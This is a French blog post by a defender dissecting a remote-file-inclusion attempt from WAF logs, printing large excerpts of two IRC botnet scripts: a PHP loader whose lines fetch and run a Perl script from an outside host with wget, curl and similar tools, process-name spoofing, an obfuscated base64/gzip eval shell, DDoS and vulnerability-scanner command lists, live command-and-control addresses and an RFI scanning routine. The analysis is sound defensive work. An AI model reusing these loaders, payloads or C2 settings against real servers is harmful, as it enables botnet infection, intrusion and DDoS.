Le méchant de la semaine est un Con.

Allez prenons du temps pour analyser une attaque web. Elle est disons…  Originale… Çà change un peu. Vous verrez c’est rigolo en plus.

Cette semaine dans les logs de notre fidèle waf au travail, on a trouvé une poignée de requêtes du genre :

http://monsite.acme.com/lapage?id=123Dorkhttp://87.201.203.154/HTouch/kickstart/images/shawls/bonze.jpg

A première vue, cela n’a aucun sens. Je veux bien que quelqu’un tente une inclusion quelconque mais que vient foutre ce “Dork” en plein milieu. J’ai donc été downloader cette petite image étonnante. On tombe en fait sur un script php en lieu et place du Jpeg. Cette page n’est absolument pas offusqué (merci … parce que c’est chiant sinon). Allons y désossons cet exploit.

Partie 1 , Le Loader/Client IRC

Si par magie l’exécution se réalise voila ce qui se passe. La première partie du script est on ne peut plus explicite… Il tente désespérément de downloader un autre script nommé scan.txt et de l’exécuter avec Perl:

<?php
set_time_limit(0); 
error_reporting(0);

$url[2] = "http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt";
$sfe[2] = "shg";
exec(); shell_exec(); system(); passthru();
exec("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
passthru("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
passthru("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
... etc...

Il essaye ensuite la même chose dans le répertoire /tmp puis dans /var/tmp.

[MODE PROMO ON] J’ai déposé ce script chez http://malware.luLe Numéro UN du stockage de malware ouvert au petits et au grands Bref il est disponible sous le hash sha1 cdbc7e6d811874a7df10d6fdbec145a82f9ed1c9 [MODE PROMO OFF].

Enfin vient la partie rigolote..  Après une sobre bannière toute en humilitée.

      /****************************************************/
      /* powered by LND - by BDM                          */
      /*        shouts:                                   */
      /*  we fuck the world                               */
      /*   we are Legendz                                 */
      /****************************************************/

On tombe sur un client IRC en php se connectant sur le serveur 217.26.172.200. Un bon vieux serveur Moldave (Voir http://bgp.he.net/ip/217.26.172.200#_whois),

inetnum:        217.26.160.0 - 217.26.175.255
org:            ORG-AC2-RIPE
netname:        MD-ARAXCOM-20001016
descr:          Arax-Impex s.r.l.
country:        MD
admin-c:        TAIA1-RIPE
tech-c:         VIBR1-RIPE
status:         ALLOCATED PA
mnt-by:         RIPE-NCC-HM-MNT
mnt-lower:      ARAXCOM-MNT
mnt-routes:     ARAXCOM-MNT
source:         RIPE # Filtered

organisation:   ORG-AC2-RIPE
org-name:       Arax-Impex s.r.l.
org-type:       LIR
address:        Arax Communications
                Dosoftei 118
                MD-2004 Chisinau
                Moldova, Republic of
phone:          +373 22 838000
fax-no:         +373 22 838001
admin-c:        AG12573-RIPE
admin-c:        TAIA1-RIPE
admin-c:        VIBR1-RIPE
mnt-ref:        ARAXCOM-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
source:         RIPE # Filtered

person:         Armen Tsitsinovski
address:        Arax Communications
address:        Dosoftei 118
address:        MD-2004 Chisinau
address:        Republic of Moldova
mnt-by:         ARAXCOM-MNT
phone:          +373 22 838000
fax-no:         +373 22 838001
nic-hdl:        TAIA1-RIPE
source:         RIPE # Filtered

Celui-ci se connecte sur channel “vics” (voir le paramètre chan en base64 ligne 8)… “vics” pour victimes n’en doutons pas..

class pBot
        {
                var $using_encode = true;

                var $config = array(
                        'server'        => 'MjE3LjI2LjE3Mi4yMDA=',      //server here (base64)
                        'port'          => 8585,
                        'chan'          => 'dmljcw==',          //channel here (base64) DO NOT USE "#", "#lazy" = "lazy"
                        'key'           => '',
                        'nickform'      => 'own[%d]',
                        'identp'        => 'darxs',
                        'modes'         => '+p',
                        'maxrand'       => 5,
                        'cprefix'       => '!',
                        'host'          => 'jamaica.hinet-ip.net'
                );

…etc…etc…

  function start()
                {
                        if( $this->using_encode )
                        {
                                if(!($this->conn = fsockopen(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
                                {
                                        $this->start();
                                }

…etc…etc…

J’essaye de me connecter a l’irc port 8585 et je me prend un reset. Cela sent l’ACL car ce poste semble poncé de chez poncé, des autres ports font timeout en plus c’est la foire du trône, tout est ouvert quasiment.

thanat0s@server:~$ telnet 217.26.172.200 8585
Trying 217.26.172.200...
telnet: Unable to connect to remote host: Connection refused
thanat0s@server:~$ telnet 217.26.172.200 8580
Trying 217.26.172.200...
telnet: Unable to connect to remote host: Connection timed out
thanat0s@server:~$ sudo nmap 217.26.172.200
Starting Nmap 5.00 ( http://nmap.org ) at 2013-02-03 16:51 CET
Interesting ports on 217.26.172.200:
Not shown: 977 closed ports
PORT     STATE SERVICE
23/tcp   open  telnet
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1024/tcp open  kdm
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1030/tcp open  iad1
1063/tcp open  unknown
1065/tcp open  unknown
1433/tcp open  ms-sql-s
1801/tcp open  unknown
2103/tcp open  zephyr-clt
2105/tcp open  eklogin
2107/tcp open  unknown
3389/tcp open  ms-term-serv
8089/tcp open  unknown
8090/tcp open  unknown

Revenons donc au programme. C’est la fête, ce petit client irc en php dispose de fonctions qui sentent bon le collégien. Rien que le nom des fonctions prévues dans le client IRC émerveillent.

thanat0s@server:~> cat bonze.jpg | grep case | sed 's/\t//g' 
case "QUIT":
case "PART": 
case "PRIVMSG": 
case "auth":
case "exec":
case "info":
case "safe":
case "uname":
case "perl":
case "ip":
case "rfi":
case "base64":
case "encode":
case "decode":
case "md5":
case "dns":
case "exit":
case "restart":
case "bs":
case "moveserver":
case "whois":
case "upftp":
case "joinchan":
case "partchan":
case "vuln":
case "download":
case "pmsg":
case "pscan":
case "software":
case "snf":
case "randnick":
case "unauth":
case "urlbomb":
case "udpflood": 
case "tcpflood":

En plus des fonctions pour faire fonctionner l’IRC on retrouve des fonctions “à la Anonymous”, du tcp ou de l’udp flooding, de l’url bombing (Un DDoS Http qui ne précise pas de user-agent) et un scanner de port. Bref si on a le malheur d’avoir un remote execution, on se retrouve déjà en plein milieu d’un Botnet.

Mais il reste encore quelques mystères. Quel est cet étrange fichier texte qu’il tente de télécharger et de lancer avec perl au début du script. Cela semble lui tenir à coeur. Car en plus, de toutes facons le client IRC dispose de la même fonction “ex()” que l’on peut appeler avec la commande irc “perl” elle aussi tente de lancer un script perl de son choix. Pourquoi donc s’acharne t’il alors qu’il pourrait le faire par après ?

case "perl":                                                               {
 if( $this->is_safe( ) )
 {
  $this->privmsg( $this->get_chan( ), '[ dropperl ] Safe mode is ON' );
  break;
 }
 $perl_file = $mcmd[1];
 if( !empty( $perl_file ) )
 {
 $parsed_url = $this->parse_url_s( $perl_file );
 $new_remote = $parsed_url[ 'scheme' ].'://'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
 $new_local      = $parsed_url[ 'file' ];
 $file_type      = $parsed_url[ 'file_ext' ];
 $this->ex('cd /tmp;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /tmp;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /tmp;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /tmp;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /dev/shm;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /dev/shm;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /dev/shm;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /dev/shm;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /tmp;rm -rf *'.$file_type.'**');
 $this->ex('cd /dev/shm;rm -rf *'.$file_type.'**');
 $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$new_remote.$new_local );
 break;                                                                    
}

Alors allons y voyons voir ce fichier scan.txt.

Partie 2 , Le Script Perl, Second client IRC

J’ai donc aussi téléchargé ce fichier on peut le trouver chez malware.lu [MODE PROMO ON] Malware.lu le Rungis du malware.. il est frais mon malware, il est frais, arrivage à toutes heures [MODE PROMO OFF] sous le Sha 000f658b5abcf828d6a55ff475c11c40fee36417

Lui aussi c’est une belle bête, 3300 Lignes de perl, 140K de code. Si on en croit la bannière, la fonction de ce truc est annoncée clairement; c’est un Bot scanneur.

################################################################################
#                                                                             ##
#                                               BOT SCANNER SPESIAL EDITION   ##
# --------------------------------------------------------------------------- ##
# RELEASE BOT VERSI 7 Update On OKTOBER 2012                                  ##
################################################################################

Et on commence désormais à comprendre ou on a mis les pieds. Une poignée de variables définissent les exécutables utilisés par ce pack.

my $injector = "http://www.alesyaanisimova.ru/netcat/require/preview/akas.jpg";
my $action = "/data/shell.php?cmd=lwp-download%20http://www.alesyaanisimova.ru/netcat/require/preview/akas.jpg";
my $botshell = "http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt";
my $botshell2 = "http://87.201.203.154/HTouch/kickstart/images/shawls/bonze.jpg";
my $thumbshell = "http://picasa.com.ritile.com/thumb.php";

On vient de télécharger «botshell2» en fait, et notre premier php était «botshell». je download tout de suite «aka.jpg» et «thumb.php» alias injector et thumbshell… On s’en occupera plus tard. Allez juste un rapide coup d’oeuil, «Aka.jpg» (Malware.lu Sha1: 9ad4d81bd0d4d8f51031837f75902257f1d8ca1f ) se révèle être un script php. «Thumb.php» est plus rigolo.. (Malware.lu Sha1: 4a0fbff2ef963fe2f9a4dcd79b0ce0c0529c53c2). Enfin un peu d’obfuscation du php caché dans un gif, le tout obfusqué dans un base64(gzip).. un classique de l’obfuscation php. Haaa enfin du chiant !!

thanat0s@server:~> file thumb.php 
thumb.php: GIF image data, version 89a, 16129 x 16129
thanat0s@server:~> strings thumb.php | head -n 12
GIF89a
??????????!??
????,????
?;?<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password
/**************************************************************************************************************************************************************/
error_reporting(0);
$aceh="7b1pexs5rjD6efI8+Q9MjU9L6.......
....
oBLybSU5/qXPOtOv2Nn8GPDRjHUtG3D6OEg05+drX5iHJ5nPeKW1PvVQ71tNkz9iK2xs45
xcKCC8NJfqrOzfWWYCf4R7XLb6bVQtg+ft4QMNBerqZX/Hw==";
eval(gzinflate(base64_decode($aceh)));

Mais ne dérivons pas !!! Restons concentrés sur le “script.txt”. On se gardera les autres pour plus tard. Analysons notre scanner de bot en perl. C’est un peu plus élaboré. Le process Hook les signaux destinés à l’abattre, se redownloade encore une poignée de fois, Fork en spoofant le nom du process, ce qui lui évitera d’éveiller les soupçons en cas de «ps aux».

...
my $fakeproc  = "/usr/sbin/apace9 -k start";
...

# Hook des Signaux
$SIG{'INT'}   = 'IGNORE';
$SIG{'HUP'}   = 'IGNORE';
$SIG{'TERM'}  = 'IGNORE';
$SIG{'CHLD'}  = 'IGNORE';
$SIG{'PS'}    = 'IGNORE';
# Redownloade du script
chdir("/tmp");
chop (my $priper = `wget http://www.alesyaanisimova.ru/netcat/require/preview/akas.jpg -O akas.jpg;wget http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt -O log.jpg;wget http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt -O akas.jpg;wget http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt -O css.jpg`);
$ircserver = "$ARGV[0]" if $ARGV[0];
# Spoof le nom du process voir la variable fakeproc definie au debut
$0 = "$fakeproc"."\0" x 16;;
# Fork en background
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);

Et ensuite ça commence, ce script est lui aussi un client IRC. C’est depuis IRC qu’ils prend les commandes d’un administrateur qui doit être nommé LND-Bloodman.

my $datetime  = localtime;
my $fakeproc  = "/usr/sbin/apace2 -k start";
my $ircserver = "irc.seilen.de";
my $ircport   = "6667";
my $nickname  = "JACKLEAK[".int(rand(100))."]";
my $ident     = "rootleak";
my $channel   = "#secunet";
my $admin     = "LND-Bloodman";
my $fullname  = "incleak";

J’ai pas pu résister non plus, j’ai été sur l’irc… en une heure ne sont passés que 3 users, 2 admins et seul un gus était poncé, grosse déception… J’ai l’impression d’avoir raté la bataille.

[S+Z] JACKLEAK[34] (thanatos@SeilEn.de-01j9no.trollprod.org) has joined channel #secunet
[S+Z] Topic for #secunet: C8,0|C0,8|C7,8|C8,7|C4,7|C7,4|C5,4|C4,5|C1,5|C5,1| C9,1-=SecuNet: German Security Board-=- Music-Stream: C4OFFC9,1 Stream:
      http://194.88.247.15:7992/listen.pls C8,0|C0,8|C7,8|C8,7|C4,7|C7,4|C5,4|C4,5|C1,5|C5,1|
[S+Z] Set by LND-Bloodman on Fri Feb  1 17:10:08 2013
[S+Z] Users on #secunet: ~LND-Bloodman JACKLEAK[34] +JACKLEAK[45] @r00t @BuntspechT
[S+Z] Channel #secunet created on Sat Feb  2 12:26:58 2013
[S+Z] Mode change "+o JACKLEAK[34]" on channel #secunet by LND-Bloodman

Mais voyons voir ce que peut faire monsieur BloodMan… Là aussi le client IRC fournis pléthore de commandes extrêmement variée, je suis persuadé qu’il doit avoir fournir documentation parce qu’il y a une cinquantaine de commandes disponibles.voici un petit grep pour se rendre compte. En fait certaines commandes sont exécutables uniquement par Bloodman (!out, !reset.. Etc.. Et carrément des commandes systèmes) Mais d’autres commandes sont générale et exécutable par tous les membres du channel IRC.

# Gestion de l'irc et du process perl
if ($msg =~ /^PING (.*)/) {
if ($msg =~ /^VERSION/) {
if ($msg =~ /^TIME/) {
if (&isAdmin($nick) && $msg eq "!die") {
if (&isAdmin($nick) && $msg eq "!killall") {
if (&isAdmin($nick) && $msg eq "!reset") {
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
if (&isAdmin($nick) && $msg =~ /^!pid/) {
if (&isAdmin($nick) && $msg !~ /^!/) {
if (&isAdmin($nick) && $msg eq "!out") {
if (&isAdmin($nick) && $msg eq "!killall") {
if (&isAdmin($nick) && $msg eq "!reset") {
f (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
if (&isAdmin($nick) && $msg eq "!part") {
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
# La fete commence ici 
if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
if ($msg=~ /^!help/) {
        if ($msg=~ /^!yes/) {
        if ($msg=~ /^!no/) {
if ($msg=~ /^!amunition1/) {
if ($msg=~ /^!version/) {
if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
if (&isAdmin($nick) && $msg =~ /^!pid/) {
if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
if (&isAdmin($nick) && $msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
if ($msg=~ /^!base64 (.*)$/ ) {
if ($msg=~ /^!base64decode (.*)$/ ) {
if ($msg=~ /^!md5 (.*)$/ ) {
if ($msg=~ /^!md5decode (.*)$/ ) {
if ($msg=~ /^!ip\s+(.*)/ ) {
if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
if ($msg=~ /^$cmde107\s+(.+?)\s+(.*)/){
if ($msg=~ /^$zerocmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$e107cmd\s+(.*)/) {
if ($msg=~ /^$xmlcmd\s+(.*?)\s+(.*)/ ) {
if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$oscocmd\s+(.*)/) {
if ($msg=~ /^$oscocmd\s+(.*)/) {
if ($msg=~ /^$ossqlcmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$oscocmd\s+(.*)/) {
if ($msg=~ /^$esqlcmd\s+(.*)/) {
if ($msg=~ /^$admcmd\s+(.*)/) {
if ($msg=~ /^$opcmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$zencmd\s+(.*)/) {
if ($msg=~ /^$whmcmd\s+(.*)/) {
if ($msg=~ /^$whmcmd\s+(.*)/) {

Ce client IRC perl là est plus avancé que le précédent en php dont l’orientation était clairement “DDoS”. En fait chaque Client IRC, simplifions et appellons cela un Bot. Chaque Bot donc peut servir de scanner de vulnérabilités sur d’autres sites. le Bot est capable de trouver et de scanner des failles de type LFI, WordPress, e107, ZeroBoard …etc ou d’ailileur tout autre failles en utilisant l’aide d’un moteur de recherche (Google, Yahoo etc…)  et il faut avouer que le script est plutôt complet en moteurs de recherches, le bigniou gère une cinquantaine de moteurs.

sub search_engine() {
    my (@total,@clean);
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $logo = $_[4];
    if ($engine eq "Simbah") { my @google = &google($dork); push(@total,@google); }
    if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
    if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
    if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
    if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
    if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
    if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
    if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
    if ($engine eq "AvG") { my @avg = &avg($dork); push(@total,@avg); }
    if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
    if ($engine eq "dMoz") { my @dmoz = &dmoz($dork); push(@total,@dmoz); }
    if ($engine eq "YahooHK") { my @yahoohk = &yahoohk($dork); push(@total,@yahoohk); }
    if ($engine eq "JackES") { my @jackes = &jackes($dork); push(@total,@jackes); }
    if ($engine eq "Yahoo7") { my @yahoo7 = &yahoo7($dork); push(@total,@yahoo7); }
    if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
    if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
    if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
    if ($engine eq "RambLer") { my @rambler = &rambler($dork); push(@total,@rambler); }
    if ($engine eq "Ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
    if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
    if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
    if ($engine eq "YaNdeX") { my @yandex = &yandex($dork); push(@total,@yandex); }
    if ($engine eq "ByPass2") { my @bypass2 = &bypass2($dork); push(@total,@bypass2); }
    if ($engine eq "BigLoBe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
    if ($engine eq "InteRia") { my @interia = &interia($dork); push(@total,@interia); }
    if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); }
    if ($engine eq "RicerCa") { my @ricerca = &ricerca($dork); push(@total,@ricerca); }
    if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
    if ($engine eq "Bypass") { my @bypass = &bypass($dork); push(@total,@bypass); }
    if ($engine eq "JackCOM") { my @jackcom = &jackcom($dork); push(@total,@jackcom); }
    if ($engine eq "JackTW") { my @jacktw = &jacktw($dork); push(@total,@jacktw); }
    if ($engine eq "JackEU") { my @jackeu = &jackeu($dork); push(@total,@jackeu); }
    if ($engine eq "JackSE") { my @jackse = &jackse($dork); push(@total,@jackse); }
    if ($engine eq "Sweden") { my @sweden = &sweden($dork); push(@total,@sweden); }
    if ($engine eq "JackORG") { my @jackorg = &jackorg($dork); push(@total,@jackorg); }
    if ($engine eq "JackPL") { my @jackpl = &jackpl($dork); push(@total,@jackpl); }
    if ($engine eq "JackRU") { my @jackru = &jackru($dork); push(@total,@jackru); }
    if ($engine eq "JackMY") { my @jackmy = &jackmy($dork); push(@total,@jackmy); }
    if ($engine eq "JackLV") { my @jacklv = &jacklv($dork); push(@total,@jacklv); }
    if ($engine eq "JackKR") { my @jackkr = &jackkr($dork); push(@total,@jackkr); }
    if ($engine eq "JackDK") { my @jackdk = &jackdk($dork); push(@total,@jackdk); }
    if ($engine eq "JackDE") { my @jackde = &jackde($dork); push(@total,@jackde); }
    if ($engine eq "JackCL") { my @jackcl = &jackcl($dork); push(@total,@jackcl); }
    if ($engine eq "JackRO") { my @jackro = &jackro($dork); push(@total,@jackro); }
    if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }

Et la tout de suite on commence à comprendre ce qui a du arriver. Le Hit qui a affolé notre WAF est probablement un scan grotesque émis via un de ces Bots par un Botmaster découvrant le fonctionnement du biniou. Lançons le, mais avant de le lancer, J’ai vérifié, je n’ai pas trouvé de backdoor dans la backdoor.. Car oui généralement au fin fond du code, il y a toujours une seconde backdoor..ici je n’ai trouver qu’un truc très drôle et étonnant.

####### DON'T MODIF IT or SCRIPT NOT WORK #######
$powered="kuvix";         #
$mail="uicci.maza@yahoo.com";       #
#################################################
... cut ... cut ...
sub SIGN() {
if (($powered !~ /e/)||($mail !~ /tk/)) {
print "\nLAMER DETECTED FVCK YOU. YOU NOT HACKER. U JUST SCRIPT KIDDIES\n\n";
exec("rm -rf $0 && pkill perl");
}

Grand malheur à toi Lamer si ton nom contient un “e” ou que ton email contient “tk”. N’ayant rien trouvé de festif, j’ai donc lancé le bignou localement dans une sandbox pour enfin comprendre ce qu’il s’est passé.

bHYBJACKLEAK[68]bHYB  hadir gan   (~rootleak@localhost.trollprod.org) [15:31]
<master> !help
<JACKLEAK[68]> C15,1-=[C3MULTISCAN By Guardian Oux leak by LNDC15]=-
<JACKLEAK[68]>  C15,1-=[TRAY TO SCAN ?? !yes / !no ]=-
<master> !yes
<JACKLEAK[68]> C15,1 Tray command amunition1 C15
<master> !amunition1
<JACKLEAK[68]> C15,1C4|C15,1 !tum [BUG] [DORK] Timthumb Scan 
<JACKLEAK[68]> C15,1C4|C15,1 !zero [BUG] [DORK] Zero Scan
<JACKLEAK[68]> C15,1C4|C15,1 !lfi [BUG] [DORK] Lfi Scan 
<JACKLEAK[68]> C15,1C4|C15,1 !whmz [BUG] [DORK] WHM ScaN 
<JACKLEAK[68]> C15,1C4|C15,1  [BUG] [DORK] RFI Scan 
<JACKLEAK[68]> C15,1C4|C15,1 !e107 [BUG] [DORK] E107 Scan
<JACKLEAK[68]> C15,1C4|C15,1 !xml [BUG] [DORK] XML Scan 
<JACKLEAK[68]> C15,1C4|C15,1  [BUG] [DORK] SQL Scan 
<JACKLEAK[68]> C15,1C4|C15,1 !osco [DORK] OScO Scan
<JACKLEAK[68]> C15,1C4|C15,1 !zen [BUG] [DORK] ZEN Scan

Et voila l’aide en ligne dit d’utiliser “COMMANDE” “BUG” “DORK” … Et oui on y est .. le Botmaster a probablement tapé “COMMANDE Bug Dork”…  Et du coup le bot à scanné comme un blaireau avec le paramètre Dork. D’ou le Dork en plein dans dans mon path. J’aime à penser que c’est un gars qui est tombé sur le channel par hasard et qui a tapé ceci, car c’est pas possible que ce soit une connerie du botmaster… rappelez vous la banière dit : “We are Legendz” ;)…

Maintenant petite anomalie, on m’a scanné pour bonze.jpg. Si on lit le code c’est la fonction “rfi()” qui m’a scanné. C’est le seul endroit qui appelle le bonze.

--- cut --- cut --- cut ---
my $botshell2  = "http://87.201.203.154/HTouch/kickstart/images/shawls/bonze.jpg";
--- cut --- cut --- cut ---
sub rfi() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
        if ($count == $num-1) { &msg("$chan","$rfilogo ^C4$engine ^C0 Selesai ..."); }
        my $coba = "http://".$site.$bug."test??";
        my $test = "http://".$site.$bug.$injector."??";
        my $dor  = "http://".$site.$bug.$botshell."??";
        my $dor2  = "http://".$site.$bug.$botshell2."??";
        my $cek  = &get_content($coba);sleep(1);
        &get_content($dor);sleep(1);
        &get_content($dor2);sleep(1);
        if ($cek =~ /failed to open stream/i) {
          if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
          &rfi_xpl($test,$chan,$site);
          exit;}
          }
        }
    }
  }
}

Et là on en est sur maintenant le Botmaster sortait de biture, parce qu’il a en plus confondu le paramètre Dork et Bug ;). C’est le paramètre $bug qui est concaténé au test de backdoor. De plus c’est une autre version du script perl qui tourne, car chez moi, pour une raison que j’ignore l’appel à la fonction pour découvrir les rfi est commentée.

my $thumbcmd  = '!tum';
my $zerocmd   = '!zero';
my $lficmd    = '!lfi';
#my $rficmd    = '!rfi';
my $e107cmd   = '!e107';
my $xmlcmd    = '!xml';
#my $sqlcmd    = '!sql';
my $oscocmd   = '!osco';
my $zencmd    = '!zen';

Voila le mystère est éclaircis !!!

Résumé

Si le rfi (Remote file inclusion) fonctionnait, que le serveur avait accès à l’extérieur et surtout que l’attaquant ne découvrait pas le produit, je me serait retrouvé membre de deux botnet.

Le premier pilotable par IRC en php

  • Fonctions DDos en tous genres.
  • Fonction de scanner réseau.
  • Backdoor.

Le second pilotable par IRC en Perl

  • Fonction de scan de vulnérablitiée de tous poils.
  • Fonctions exotiques; Bruteforce SQL, reverse MD5 etc…
  • Backdoor.

Epilogue

On vient de le voir, il est important de bien tenir ses systèmes à jours, surtout les systèmes dit “WinWin” du type WordPress, e107 ou tout autre CMS. Dès qu’une faille est disponible les scanneurs sont déja en chemin. Une autre chose simple. Ne laissez pas sortir vos serveurs à tous vents, un serveur ne doit pas avoir le droit de sortir sur Internet de son propre chef. Cette règle doit être valable même pour le serveur de l’association de bridge du coin. Configurez le firewall !! Dans le cas contraire, la punition est claire, on risque de se voir rapidement embrigadé dans une poignée de Botnet équipés de scanneur bugophages.

Bon Je me garde le dessossage des deux autre scripts pour plus tard. Tentons tous de même de contacter ces pauvres petites victimes, une pierre dans l’eau n’en doutons pas.

This entry was posted in Hacking, WebSecurity and tagged , , . Bookmark the permalink.

One Response to Le méchant de la semaine est un Con.

  1. Cr@zy says:

    Bon décorticage Thanatos :)

Leave a Reply

Your email address will not be published. Required fields are marked *

AlphaOmega Captcha Classica  –  Enter Security Code